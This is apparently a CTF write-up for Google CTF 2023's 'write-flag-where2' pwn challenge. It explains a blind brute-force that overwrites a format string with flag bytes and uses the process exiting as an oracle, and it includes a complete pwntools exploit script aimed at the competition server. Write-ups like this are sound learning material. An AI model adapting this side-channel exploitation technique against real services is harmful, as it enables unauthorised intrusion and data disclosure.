GoogleCTF 2023 writeup - "write-flag-where2" challenge - a different solution to Google's
1. Introduction to the challenge
- Category: pwn
- This challenge is the part 2 of "write-flag-where1" challenge. It is the same binary without the "Give me..." string to overwrite. read more about the previous challenge solution here.
2. Google's solution
Google published their solution to the challenge. They solved it by writing byte 'C', 'T', 'F' and '}' into the code section in order to modify the control flow of the program. While this is a clever solution, I find it "cheaty" because you have to know that 4 bytes will be presented in the flag string. So I come up with another solution which pretty similar to the first challenge - write flag
data into the data section of the loaded image, but this time we have to guess each byte of the flag string - like exploiting blind sql injection.
3. Brute-forcing solution
3.1. Brief description
We write each byte of the flag to the first byte of format string "0x%llx %u"
, then send the next input to guess the written byte. If the guessed character is correct, then the target application will wait for the next input. If it is not correct, the target application will break out of the loop to exit, thus causing the EOFError
exception. We can observe that behavior to brute-force the whole string of the flag.
3.2. How?
Ground truth of the solution:
- The program will break into the
exit()
function if the input data does not follow the given format:
example:"0x5654398190bc 1"
is a valid input, and"Cx5654398190bc 1"
is not a valid input. - When using
client_socket.recv()
in our script to receive data from the remote application:- if our input is invalid, the remote application will call
exit(0)
then our client application will receive aEOF
character: - If our input is valid, the remote application continues waiting for another input, our client will just hang there waiting for data coming from the remote application :
- if our input is invalid, the remote application will call
3.3. Make use of such behavior of the target application
Idea: We can brute force each byte of the flag string by somehow test that byte against the format string. If the tested byte value makes the input string adhere to the format string, then we know we found the correct one.
But how can we do that? The format string is fixed, isn't it? Well, that's when our write-flag-anywhere feature comes in.
We know the base address of chal
binary, we know the offset of "0xllx %u"
string, so we can write the flag
data into such memory space. How should we write data? We can write each byte of the flag data into the first address of the format string by writing byte_offset + 1
bytes into format_string_address - byte_offset
. The format string will become "<next_flag_byte>x%llx %u"
.
We have to keep two format specifiers in the format string because the chal
program requires 2 numbers extracted from the input:
Then to find out each byte, we just need to try each printable character until the target application does not send EOF
character. Example: Our flag has the format CTF{...}
so to find the first byte of the flag we need to try each byte until the payload "Cx<some_address> 0"
is sent.
3.4. Implementation
Graph view of my format-string solution:
The exploit script (might take an hour to print out the whole flag 😴):
from pwn import *
import string
import tqdm
import time
seed = string.printable
result = ""
result_index = 0
found_char = ""
try:
while found_char != "}":
log.info("flag index " + str(result_index))
for found_char in tqdm.tqdm(seed):
context.log_level = 'error' # only print out some thing if error occurs
client_socket = remote('wfw2.2023.ctfcompetition.com', 1337)
context.log_level = 'info'
### base of chal binary
data = client_socket.recvuntil(b"but I've removed all the fluff\n")
data = client_socket.recvuntil(b"-")
base_chal = data[:-1]
base_chal = int(base_chal, base=16)
### format string address
format_string_offset = 0x20bc
format_string_address = base_chal + format_string_offset
data = client_socket.recv()
try:
data = client_socket.recv()
except:
pass
payload_1 = hex(format_string_address - result_index).encode('utf-8') + b" " + str(result_index + 1).encode("utf-8")
client_socket.send(payload_1)
time.sleep(2) # give the target application time to do it stuff before continue receiving data
payload_2 = (found_char + hex(format_string_address - result_index)[1:]).encode('utf-8') + b" " + b"0"
client_socket.send(payload_2)
try:
client_socket.recv(timeout=1)
log.success("found next char: " + found_char)
result = result + found_char
log.info("flag update: " + result)
result_index = result_index + 1
break
except EOFError:
# now we know the testing character is wrong
pass
context.log_level = 'error' # only print out some thing if error occurs
client_socket.close()
context.log_level = 'info'
except KeyboardInterrupt:
pass
log.info("\nflag is " + result)
3.5. Result
This is a blind exploitation based on network connection so in took some attempts before we finally found the flag. It failed many times in the middle of the execution so we had to begin right where it left by modifying the result_index
variable. Here is the result looks like:
All rights reserved